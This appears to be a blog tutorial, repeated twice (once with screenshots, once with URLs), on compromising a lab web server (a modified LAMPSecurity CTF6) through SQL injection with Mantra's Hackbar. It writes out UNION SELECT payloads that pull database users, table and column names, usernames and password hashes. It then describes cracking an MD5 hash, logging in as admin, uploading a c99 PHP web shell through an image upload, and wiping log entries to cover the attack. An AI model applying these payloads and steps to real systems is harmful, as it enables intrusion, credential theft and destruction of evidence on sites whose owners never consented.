Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ubvXQIKXnuCElgCOJ5zzwJNM_f3k0EfSCUuSLRF5BvH2oyvLqH0_dGeg-nRSc63XdR9Ob45k9RvCUFfMwFiEru_JjA-kiy79ZHPxNf1SVdppAB2GCgqzLdhNyN8vTjsrOFJZPlzOAohTR2OOFVVhV4KlhrDPtt1CJEC7XUWLnn-qS8=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v6Odnxr2teeRx3D65y3VcRBdqARQP_m_-E8fiSDua197c7isl4KbtkGczj20EgkvZa7jf6mcgJvMXJ5MSdZa5tblTbDkT6xeyxmH71T4sFTgQWoIJiBQBF4-cm98-luWgzpqOYyYnhCVhhSI3_FKWBU0h3muvGko9RCRODF13tvO5Tjw=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tZELeWbe3DK2y1fxQpskzBB-u83DTVRn0c4P_ZBDY0zJw5dI6pdSEglokntM5YUl3_G5-hEwdqvygk9-sIQnarvfbWAF0LCPqFNWdB49cwnLDCqzDa42mEvkDr4vXEy7yzsjaCIn9qhhUnZmcpkdPr-nfk2W0jpKZVgc2xQ4k-ROSKAA=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u3ppdfqm-sUSgvAQclHPNLge7zZAfVr1jKMVp_3MElm0Yno3j_f9aahjPVsa7TTW-bnYs8gW9yPSRs6V9mcc5ZHFAd1uDN6ZSwib619NHEjuw8zF12Tpr8zOu-NVrN5qlP0Yb-oopWzI1BPdEAZFvbpcWOnbZ2sF4HsvXdMVj9OX3Ymw=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uqL6uvrk1TvozLHq5Uu7ATNljJ9tl31Z2KGAoFad5qPnJ3GvhXcqfOfiJ4ViATcPTJcLjWAFkpKrZ-Cl_-yQg5kEXa5SoO9p-vJe4V_3lx8vimtHhdTk-f6tAtxP1qKv78miOTvjrAqMpqKgrv6RZvMg30Jf_b09PGdeM6T4I__5CUSA=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vWhzUqWrY2VKFYiEBgxfk_8I2VbETzDv0ONM13ZqSg-NFbmuWr3KQTmZnN-qS2giCCa2gOL9wBuWQfLV--sqfir_ZOCIilccjmb-zb_fZ79O0qQhLhUgbslZuU9HBc2hHJ8QgBFOmy9eUz0SrriV9-pP_BrrQHGVaAa-8NOvAQ6Xa3=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sTeHXWwRw4kcLuJ7txpxxTcavx67YsSFP6FtU_uBAIyt4mGDMBFL_rq5WZMSTMRFdqsGtRqDCE2LVQnlbeeJvEv7SsX1q_C2sU2tKWjImYzQ3ZoaRiaCqnZT1tOZ00uKjT2Mq92tr5QtU8a02ygGwTefmb8SPgGvOjWKa2Dvjsl0Ctioc=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tFbA0J_JR7MfvBaTtoQQv477pChsrSEd1T4c-Ffa5gA0T-mi8oVI5gQqDVxd5Kt6on89aLyHPY3V2tjgjOTMPCoQQAB70qdqhuUP2t94XPf1nf0JsNcd2P5Hr0sujhCVVOG0RSHiD79lyJbFW8Z4UwNYZphSqj2qoLtNf87Zqo1fm42NE=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sGIRdZFIcdeVxdWPWRQEbcmgvdUZUqCwbk4ZA4HLaAXpgGB6IlTYBak5AIFo5U5YvawuE2Knp3LsaQuqNENCBD6pWevqaaANEKtNzs2a9rRaJyNr51dngbyIJ_vZnvN0t8F3WF1t7l-aDS9wQyCJp2sx8ZwtbstYW8NvFQPTGa18B4QXg=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uGdfu7_U7f5_TIUGuh_SyXC6San1qhiq8C05T7KV30k17ivHJ66nZxL9XwIbWn3bs1I840i8umh9ouafp1vFvWgP-gGZ3aqzV6GmDkxhx6hcnA9VPmfkN0PzT0A6UdtC3QlggqVpVu7_MBwY1BFLbOuMKW0C2b_PPsaqpBx5ZtkfoJu3s=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vnazwbw4d-9CpiVyMJiVB4xjAy2qRSHjYG_rdF1RslMnqQqKd8-Be5AXp3Hw61nIoWVWqPdbrdFe4wSgn5rP4bPQPE2WupjAnH8xfatEbbytrVGrTdPA7NULbxT6IYmTrQYks6A-NOFiSzuaO3zImWxtu4YLbhZyPvqPW4UrQpNZhKUw=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sYUYw8SmP8oQxmWM1KMUUi9djlVv0kRWjkVwjSP58hRx7OwcDUOrhWAFk16niPTfxrRC5IhpelBwWk1uuzIiJ0vU-ONNWb-Ppcj5dPDlpFGtZ2KcpGVnSQ7au--EQPhoy9ho_71NyXHj4fFcIEhuPG97qnpGtiz81Vfa95SaSii-DWun0=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sLiI4Yr5udPTOKkrEZnkhqw0T3-uWrvAEhX0XD8b3yt9NJsEImbSycNS9NaqJCclqA2xnVGh0uyoN7gH8fmoMMUhC5XhkOPvZAJ56wqqhnAuhKT_Raa1eeSI7RhUl2LBkRvqL_Ngaxyf68yqCpxukiNiRg4kR1YqXLKAYCi5KUDa7jOPk=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sEvIHyxMgKOaAoYW04omid_RnFm6r5oyVOf0Us_qbxKAWoARczLprndmoUE1wELlBJ1p4xqnSI2Y66bcPmFTl9hYe3czgow3NkbJMZwbxzrGTMbCx35HY4vIkrrfgNY_PMat5vZ-qh67h5DgJUb6214bb_G4yL1j5nHf0iOkdp_Ae0XA=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vrlCdWK43GASmNoRJJft5Owud_sk2bp4iiG9qq8cmv3Y7t7k1lJ_xeU3TDM0NTHeJ7JCCGFJaL0GZEIaUv1Ql0R3iYoExgQvlM0mUFmJjC8caqDrpRQidmICzeLdkzDOkMeTZWXGq9-aWRAXsl8rhQHjF5EoY7crJiTREmBoKiayq4wg=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v68YQo68ZeIL36nenL8wctqPBtmdYvduvssfknMLHU4vE3ptc20Btz0aue3KPP3CHjwRs0nlbAiYir8USVwKxc_LWKu7i3fHjawX3EkVAEYBj8shapCXBY7huHcX3awMGp-3WWljZD8ieTCyNezNoFprUzHzA-rIVmuHUz1n2sGhaQ5ro=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vqGphWtDytbIricHWwpw7qmqBakV1TrNEv1shBxJnusP2-mMUPUUPWrq7VCtobMNtY5PL3IHL6SwoEunDn3mtUgbA696bjwP7YWSo0IbF3hItaj74Gk8oDS38ib7d36DdDRFaEYGE8xD6A_9SZ4htc9ntrRSGlxhhwGjPFD2iYCv7Pp-o=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s2leBRMNMQCtFELCo2N5JazwWURWKclx8h5v6y0T17tidE-4qdHPHPYGSVc2UxOy1MJr9alympJSS_llgPsuH-6-ZChwxZyynE9C4tKhNgznPFznsD1cJS0ZFyVP6v9HqEQJPhuI4GvgWvzpqTFinp-fKcF7ai5OlQCa2VMbjfwphbEYI=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v-DMjeE80G9uAOwCDPaevtMDjxlZtZ78WTFGlcYWKff0unT_Jy55EvQxp2pCmJP6lxqT2i2dFzIlWAh33t8gB2Umzjs0JanQPE2QpKAIDNU4CRqVGic9Ipx7x7-TLuH_PQfu9s4X2GlV-0Zc1jP5U9CXTJUOLYTwKKn8YfJ2Gs6BP-MB0=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u1rACb63AQBjyBEFQVKH1CznHYldbtzWOpthkSxJS5Dwvx2yY8msp6gNQZinpiG8t5EfKGAq0S_iCvx07jBs0yNGxqlvIkQ4lp9eKcfXZqYJVpQwU6aJqLJQuJStSDPdT2Kp71GuUdOmaWYDxxCBL4QfCUCvL2U9Ert7pv1_CqfytWYU8=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tkQGLyOgVo4Am9B_Em_mevzIwtUS3MePCB5C1zRS8T2dOERjDRqVxXxJ2g6UxL9-UkCyB6oFRmk_jNI3H5sNn4RZnfJ_vsL5ioEciqIvCc1ssbD-z2Ug8--vXXOp-MxKa1j6M-4vtonpDXjX4WVU1t1CUYpy7uOvTK1vrf-YalHjQLGsk=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uXcbjZ4LwwSSjkYYWMppBBN2mqJtiCnXiKOB1LgyCLVtWjD0p-ED79YLk0L16NMeuv6O8cF1BOI5cbvMsboE5VMmj_pI49qPWn81QIvOLIRYR2nn1p28O1KwRIaBQZlO6U1ztmecuo3PL_xd2xLPWgbYrZ2j9uhFf8xmBx9ntOgqzI23E=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uSn-BYdGyI2NfcH3rmRwDS8nARSXVtCvLSdCMi4khnemBppvIIy-bdNo1K4ppy5XsAv6nmHidhp2fcc-Jsoa34CAV8sEmJC5FDWV11xfOcZWzsMdlOtouPH79X6jTUQzDBb6Bk6yn8KgY9BdRyoJOd9xcU0yeAFHw23GdpXXS_yJOMJHs=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vM_amwSkCrR9VNFPR7q5_D_D62q-uiMwspsGS7DhcI7a8SQ4JR-nimWmhz5XqWg6J44TLAEq-5XxlDxhXQOf7UB3Fb3QgfMNvS63cIMW5KpmHYV8isFpT78l4uu7C3jH6ca6sSdnVaABIO0TFbzeTps5DVW4HoemJFsVMty1ULiofvL2U=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sYpn9RS8qJnjwI_w1N-ILxzbAZGboUhft2JeWVDpWpOfg5NY5YgTMYYCY4etL4kilRmjv6hkdPdzROS1XksbrFHLNgi5mttVq8TsmQQJk7v6XlU63-x0iPAWMuJ1M38X7JHRA8V7hP11xrOE0lBmRZcAAGt1ZCiyUOU7oEPJdNJ2PxMQ=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uKtbOzUBCdDoSLmDzFeUlN_WPLFOlMLr6pF8PJdN6AHMWOB5O9-et6vnQX8kgPrNPcg3J-lwgC4CvUqxT7vLR3xm6abiERIdOJnDo9l3RAlBdOOUGKeos0i0AyrM8xxLgjquyd0s23RtFzm8ZT--yg_qOhWBMiZeq9mwZgVdPZz9O8OA=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uE_ApmVOeoVzItjCaVyt2xj69tBwmw-IhN65BCo3e3IXOvyCTl-BwvL0ejikbEDTNBhqm0dtlDkKMKOGpWPCwh-Zp-ljhZP3KTwdHIeaHv9cwbELqio4qXxfTsoox68i4WcLBbx6wju6F0HV1txgcbg6WoZApvXCITjULb4HNf9uUOcHw=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tfHRD0wQOmKqMt-s9TtrMqcOEiacaWlp1tdwpZJoCjBB9RTDzsfnx7l7it9un_VmmXVxpvTQyzxpJZ4Jy6FXtizHr7rB5l3AJrr1Vjx5ghZY7jcdVVXAz11U-3vQXwRNUSawmkqlU-lP1I4QNxIkMWBvfOpHi2-y-GWdvpIBYrLxSudV8=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_swErq-Ck_ma7lmNT0YbqEhF70lVSX3vkousk9yPB-Zd6hIVDGDFIdWXxPcaGpvXIw-faOpvVZROelnfghDI3Kk49VxIjpegE3msEWkF4vGWP6GDnszmGV14w1-zsGg0AGT_9t7TuYBNCjbarNHkuhltfJPyekl7pv-NuXqDU24PpJRvQ=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_shPy_MuXKcPM9AyXu8gLi42ZPmgXQ0LkdyyrFvZJCkysAxAp5l1D_vo3W5tXbOnrtj0hF1kcTccxkxAfgRkaGShV4QJkUpaP_suxDmTW-uLizMBwq5pRKBq76nJFNa3x5l0-tmpyNBbzjEVvROrnMCYbTzM0FkjeBkLd5-y9Qyxqk-Jco=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ts2PnD-42fsI9Wr1bN9WSWL8nr6Oek8kX52dC73C9XqdSH77wl9xlFFrlq2rejjh5dn78kTFChu6u62LwXsRc2eMFSQowv1fpQ8H5qWVITv6RNEgm_6_7mcNLzxZKkMktkbX6ZCozcNi6uMG7WQRON8qLxgIXe_ii2vj4b6eLgNncQGqg=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t07COtw3cTCb86BB2i-ayf35BKcSHJUXDJF0FhCBofo6DjP-c4WTjOYkP65h5MLICdPRUH52-SiABcsAABE09Ml2ojkmLUjqEtZ7FU43gmBj03_Wz9R3NG6Azl0zBhf7A1nUapDGPVcBFUYG8rWYcpW7wavGOgWv1VZXsIoawcN4grnvw=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_skIHQNusROG8fuivJB-h11_0IxuTg4nvprFYxQxst2Sgny7w02AAHxFaQ8BFxCzKbHDBQjoLMGfpbXLiyu0wP8-FUycUXSShrFqDFOBya9wShDD5YELuxcdDhUfLhidEXWgYSvUu5ptPk6OfYLXgZ9CS2w0-uYnW4GcC6DIz-ZcMCVZt0=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tolaLROGyFocxbc6CRFWgie1aNUJ1beVTcURM_ksBiGRa9I9iS1ZBPso2PrUvV-s2oIE-k7P8XfooVZwVgstH61Yp7-QoEQH6Bbuw75XgSx_L6tW8ZFtR1B5yzBPnQ_5UGSVKqoSxXPLehIaQy_O6V6svx6KK9xxAgtl-lS-4GlBA6qWU=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tyVto1EviUhI3A1X_KUOHej6kmklSEB1zI7aUVp1PjeJq9vDamkVfxEZv14MUFVf8GIjqV2RsJRe_faJGqKKudu8TpQ7kG-op5elCkbs0aWdICAkyjEEJ9yk-aItQmBG-BTGQwI1j5g5ZoVj9gY10bcEfB6n1ve2j3fQ-mkzj6LX-XbGo=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vfCGjLLvvu1_v4BfFVmRljzDTLxwdq9txDktaWEwi-Xej0ki11pl6fKYxQEBhdAUekoBvAYCWR-6PW-wh6XhhV1y1kzBRcx6W3luEHus7L9kxYWt6Qzc3xaiXi_zK1RrAouiaeLQKOL9N_U7vQ10pbefS5O-9n_j9SaKAKBWYbifZiGd8=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uQFMnMLh7yPzrTQNs0Hsiptuu3CAlNSj6OpvroT7M40g5-b2fBj8r0CuqVRS_XyAA0CR0vqHvv69mt813rKqdYuOrso_-pdhtt006BF3BTD19K48jm4PUTL8xC8hBWus3DB7_sQ1q8A3N4QoJABBre9GhM9qmHeogC9b2kNQaEWmVjwg=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vc_5UNaGwAWDVpZ7BFMXDP2Fx3u8zhy2w83TYdtrRBv0pTNChykDM-CGyo8nDaL4G1wMp0l9usxxQRXDfyWUd3Xsjx6f97NJsbomm8a7rVwTEXJ6oXWGX0lpbhFcmt8l61-ipgycYrsUsDlgSA7B5pwMu6aqi6t85RXPKRXGWICbpLwo4=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_veu34cJPrYM7gtF91niAMC-jZYbywnGnVnXQ_kjICexWvivg4yDxGIsjKIuoTzrreG49kbl-Px8FL4smeBYvxPw2lh5lj9ywRTrc_jBvZ6vfP9Fd6Ny9dNY5MlbHzxW9SaAmjG47NKBBD2n3oziCyO8qgjHCoOsQgmDrgpewJRx6Ji-g=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sg_sQvRlVt-1wEKA1Nqzt7XcHJZITOyVZqFnuliZ3U-jz1sla9mwI15HnokFgJcp5T1UtHKgf-cBc8CyFxheCUdxQsRGrsu6LVcSvRKq6icjLgtXMLj6opbt6pXQGDoP3uwkRsbyPBkd8eyW1NbAgSfOzSPyheXuqg5rwu9tk3zwI1URQ=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sIN9snZZUPXUvRQO8CZKS5FdR1pZmmv2n9iYGWHYRN05lVBRGGsQRN5h24yFFzCW2ZMtSWjkXDDW8D1YOMgQ9q0CjlHJMvbXksuPmFUMbmhsBWo_c-shPhqaT3WnxUChF18pyjB013aa6J-IfZvNf0bJF_di-EiVo1blbT75Y4YeEpx28=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vtoiwHgPb1FBtmLZWVUACHBWvQAg6_KFJSkBWQPiW41M20XM3YQru_jRpQCqnNbN2rUqEFj5oqQCbF2HmAnGm_tg4wYw5UGGZBwQMSj8fH2gwRoHqBNUQp569tSF8LDuJZ3zO28FBfTQ-FQwhXe191g9SxeRmvWIBJruoqUKoc8G7_skI=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sG6w8tKhvbUJzrPvGND9A3jorc7BCdSO73zf-srqK-WxW--tgT6_cJu_3G-aOMpgaDwgrliyBVImqlv5anBRhnKui2t4RmBfSUXipaPjBlT1XEGJws0PN7WtyqxmZVvKmZQz5sMbb9bec8O1ftpvDhQqX4koRaKkSSUajTGeXRXmtgWD0=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uX2teUZf6noTryRlUfUFgNv4lwBfqqjUUyAj-uYfoE0Xa55TdiotfeOdwILPkEcQmE10WhlHrGFQbjY6F3CqBi2EFYlIKaGGDVKnHudkY7CbxPF4GQmT_eQ6NsMGqBEXm_Zt0jvaQIQtHpmgJ5IlOtQSt8nYWWrl1_iYHb2TJkSXZgww=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vldkpLfBmaAjwTN1BIC0C9d86eOO700rwE2SLI2uGLLqiuWyQLdRRYCnWL5Av-jGu0W6iOlu2g3PUDETqnHTrPX4osC0XAL78yEdFRI1egbpn9akUCIx9CNNlpWNEsEkny3G4R0YcAeqFn3CqXF70crEX-jkG2SsHMD8GLuTmtF9w6qPE=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete